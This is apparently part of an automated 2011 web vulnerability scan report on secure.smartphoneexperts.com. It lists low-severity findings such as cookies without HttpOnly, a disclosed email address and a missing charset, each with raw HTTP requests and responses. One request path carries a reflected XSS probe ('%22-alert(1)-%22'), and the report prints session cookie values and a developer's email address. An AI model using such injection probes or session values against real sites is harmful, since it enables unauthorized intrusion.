Set-Cookie: PHPSESSID=q6shm07j0a6gj72ilipu9v6kv3; expires=Fri, 10-Jun-2011 14:04:16 GMT; HttpOnly
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: visitor_id=ff8cacd051298760afb6c872bd507f6f; expires=Sun, 08-May-2016 14:04:16 GMT; path=/
Set-Cookie: cookie_treo_model=deleted; expires=Mon, 10-May-2010 14:04:15 GMT; path=/; httponly
Set-Cookie: cookie_treo_model=1317; expires=Tue, 09-Apr-2013 14:04:16 GMT; path=/; httponly
Set-Cookie: device_id_history=1317; path=/; httponly
X-Accel-Expires: 0
Content-Length: 22615

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns='http://www.w3.org/1999/xhtml' xml:lang='en' lang='en'>
<head>
<ti
...[SNIP]...
<a href='javascript:pop_up("https://www.scanalert.com/RatingVerify?ref=store.androidcentral.com","555","680")'><img width='65' height='37' src='//images.scanalert.com/meter/store.androidcentral.com/63.gif' alt='McAfee Secure sites help keep you safe from identity theft, credit card fraud, spyware, spam, viruses and online scams' oncontextmenu="alert('Copying Prohibited by Law - McAfee Secure is a Trademark of McAfee, Inc.'); return false;" style='margin:4px auto 0px' /></a>
...[SNIP]...
<div style='display:none;'>
<img src='//pixel.quantserve.com/pixel?a.1=p-c1TRDpaaxOT72&a.2=p-8bC03lZwjgqy2' border='0' height='1' width='1' alt='Quantcast'/> </div>
...[SNIP]...

5. Cookie without HttpOnly flag set previous next
There are 2 instances of this issue:

/
/content/customercare/page-status.htm

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.

5.1. https://secure.smartphoneexperts.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://secure.smartphoneexperts.com
Path:	/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

visitor_id=839c627b9b6513ffd262b73318f7d763; expires=Sun, 08-May-2016 14:05:46 GMT; path=/; secure

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

5.2. https://secure.smartphoneexperts.com/content/customercare/page-status.htm previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://secure.smartphoneexperts.com
Path:	/content/customercare/page-status.htm

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

visitor_id=ff8cacd051298760afb6c872bd507f6f; expires=Sun, 08-May-2016 14:04:16 GMT; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

6. Email addresses disclosed previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://secure.smartphoneexperts.com
Path:	/javascripts/spe-v3.js

Issue detail

The following email address was disclosed in the response:

brian@cherne.net

Issue background

The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.

However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.

Issue remediation

You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).

Request

GET /javascripts/spe-v3.js HTTP/1.1
Host: secure.smartphoneexperts.com
Connection: keep-alive
Referer: https://secure.smartphoneexperts.com/content/customercare/page-status.htm?store_id_secure=15&d=1317&ab_testing_session_serialized=
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: store_id_secure=15; visitor_id=7bafa0a9256e3f802a19af1811a6ef80; cookie_treo_model=1317; device_id_history=1317

Response

HTTP/1.1 200 OK
Server: spe
Date: Tue, 10 May 2011 14:03:36 GMT
Content-Type: application/x-javascript
Last-Modified: Wed, 13 Apr 2011 05:02:57 GMT
Connection: keep-alive
Content-Length: 176268

/******************************************************************************
Name: Highslide JS
Version: 4.1.2 (March 27 2009)
Config: default +events +unobtrusive +imagemap +slideshow +posi
...[SNIP]...
<brian@cherne.net>
...[SNIP]...

7. Robots.txt file previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://secure.smartphoneexperts.com
Path:	/content/customercare/page-status.htm

Issue detail

The web server contains a robots.txt file.

Issue background

The file robots.txt is used to give instructions to web robots, such as search engine crawlers, about locations within the web site which robots are allowed, or not allowed, to crawl and index.

The presence of the robots.txt does not in itself present any kind of security vulnerability. However, it is often used to identify restricted or private areas of a site's contents. The information in the file may therefore help an attacker to map out the site's contents, especially if some of the locations identified are not linked from elsewhere in the site. If the application relies on robots.txt to protect access to these areas, and does not enforce proper access control over them, then this presents a serious vulnerability.

Issue remediation

The robots.txt file is not itself a security threat, and its correct use can represent good practice for non-security reasons. You should not assume that all web robots will honour the file's instructions. Rather, assume that attackers will pay close attention to any locations identified in the file. Do not rely on robots.txt to provide any kind of protection over unauthorised access.

Request

GET /robots.txt HTTP/1.0
Host: secure.smartphoneexperts.com

Response

HTTP/1.1 200 OK
Server: spe
Date: Tue, 10 May 2011 14:04:18 GMT
Content-Type: text/plain
Connection: close

User-agent: *
Disallow: /

8. Cacheable HTTPS response previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://secure.smartphoneexperts.com
Path:	/javascripts/highslide412/graphics/zoomout.cur

Issue description

Unless directed otherwise, browsers may store a local cached copy of content received from web servers. Some browsers, including Internet Explorer, cache content accessed via HTTPS. If sensitive information in application responses is stored in the local cache, then this may be retrieved by other users who have access to the same computer at a future time.

Issue remediation

The application should return caching directives instructing browsers not to store local copies of any sensitive data. Often, this can be achieved by configuring the web server to prevent caching for relevant paths within the web root. Alternatively, most web development platforms allow you to control the server's caching directives from within individual scripts. Ideally, the web server should return the following HTTP headers in all responses containing sensitive content:

Cache-control: no-store
Pragma: no-cache

Request

GET /javascripts/highslide412/graphics/zoomout.cur HTTP/1.1
Host: secure.smartphoneexperts.com
Connection: keep-alive
Referer: https://secure.smartphoneexperts.com/content/customercare/page-status.htm?store_id_secure=15&d=1317&ab_testing_session_serialized=
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: store_id_secure=15; visitor_id=7bafa0a9256e3f802a19af1811a6ef80; cookie_treo_model=1317; device_id_history=1317; __utmz=1.1305036217.1.1.utmcsr=store.androidcentral.com|utmccn=(referral)|utmcmd=referral|utmcct=/content/customercare/index.htm; __utmv=1.store.androidcentral.com; __utma=1.1567419967161159700.1305036217.1305036217.1305036217.1; __utmc=1; __utmb=1.6.10.1305036217

Response

HTTP/1.1 200 OK
Server: spe
Date: Tue, 10 May 2011 14:04:17 GMT
Content-Type: application/octet-stream
Content-Length: 326
Last-Modified: Fri, 15 Apr 2011 02:02:33 GMT
Connection: keep-alive
Accept-Ranges: bytes

...... ......0.......(... ...@.............................................................................................p............... ...@.............7...$ ..$ ..7.............................
...[SNIP]...

9. HTML does not specify charset previous next
There are 3 instances of this issue:

/
/content/customercare/page-status.htm
/content/customercare6eabd%22-alert(1)-%222ec977d129/images/androidcentral/ab_test_11/ac_hero_bg2.jpg

Issue description

If a web response states that it contains HTML content but does not specify a character set, then the browser may analyse the HTML and attempt to determine which character set it appears to be using. Even if the majority of the HTML actually employs a standard character set such as UTF-8, the presence of non-standard characters anywhere in the response may cause the browser to interpret the content using a different character set. This can have unexpected results, and can lead to cross-site scripting vulnerabilities in which non-standard encodings like UTF-7 can be used to bypass the application's defensive filters.

In most cases, the absence of a charset directive does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing HTML content, the application should include within the Content-type header a directive specifying a standard recognised character set, for example charset=ISO-8859-1.

9.1. https://secure.smartphoneexperts.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://secure.smartphoneexperts.com
Path:	/

Request

Response

9.2. https://secure.smartphoneexperts.com/content/customercare/page-status.htm previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://secure.smartphoneexperts.com
Path:	/content/customercare/page-status.htm

Request

Response

9.3. https://secure.smartphoneexperts.com/content/customercare6eabd%22-alert(1)-%222ec977d129/images/androidcentral/ab_test_11/ac_hero_bg2.jpg previous

Summary

Severity:	Information
Confidence:	Certain
Host:	https://secure.smartphoneexperts.com
Path:	/content/customercare6eabd%22-alert(1)-%222ec977d129/images/androidcentral/ab_test_11/ac_hero_bg2.jpg

Request

GET /content/customercare6eabd%22-alert(1)-%222ec977d129/images/androidcentral/ab_test_11/ac_hero_bg2.jpg HTTP/1.1
Host: secure.smartphoneexperts.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://secure.smartphoneexperts.com/content/customercare6eabd%22-alert(1)-%222ec977d129/page-status.htm?store_id_secure=15&d=1317&ab_testing_session_serialized=
Cookie: PHPSESSID=t9v2isfjo83hbgj2ca7ub95ma4; __utma=1.887762698070921500.1305049945.1305049945.1305049945.1; __utmb=1.12.10.1305049945; __utmc=1; __utmz=1.1305049945.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/34; __utmv=1.store.androidcentral.com; store_id_secure=15; visitor_id=57e98fb80a186695d4172a973b05110a; cookie_treo_model=1317; device_id_history=1317

Response

HTTP/1.1 200 OK
Server: spe
Date: Tue, 10 May 2011 17:52:56 GMT
Content-Type: text/html
Connection: keep-alive
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 64991

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns='http://www.w3.org/1999/xhtml' xml:lang='en' lang='en'>
<head>
<ti
...[SNIP]...

10. SSL certificate previous

Summary

Severity:	Information
Confidence:	Certain
Host:	https://secure.smartphoneexperts.com
Path:	/

Issue detail

The server presented a valid, trusted SSL certificate. This issue is purely informational.

The server presented the following certificates:

Server certificate

Issued to:	secure.smartphoneexperts.com
Issued by:	VeriSign Class 3 Extended Validation SSL CA
Valid from:	Mon Jun 01 19:00:00 CDT 2009
Valid to:	Sat Jul 02 18:59:59 CDT 2011

Certificate chain #1

Issued to:	VeriSign Class 3 Extended Validation SSL CA
Issued by:	VeriSign Class 3 Public Primary Certification Authority - G5
Valid from:	Tue Nov 07 18:00:00 CST 2006
Valid to:	Mon Nov 07 17:59:59 CST 2016

Certificate chain #2

Issued to:	VeriSign Class 3 Public Primary Certification Authority - G5
Issued by:	VeriSign Class 3 Public Primary Certification Authority - G5
Valid from:	Tue Nov 07 18:00:00 CST 2006
Valid to:	Wed Jul 16 18:59:59 CDT 2036

Issue background

SSL helps to protect the confidentiality and integrity of information in transit between the browser and server, and to provide authentication of the server's identity. To serve this purpose, the server must present an SSL certificate which is valid for the server's hostname, is issued by a trusted authority and is valid for the current date. If any one of these requirements is not met, SSL connections to the server will not provide the full protection for which SSL is designed.

It should be noted that various attacks exist against SSL in general, and in the context of HTTPS web connections. It may be possible for a determined and suitably-positioned attacker to compromise SSL connections without user detection even when a valid SSL certificate is used.

Report generated by XSS.CX at Tue May 10 12:54:54 CDT 2011.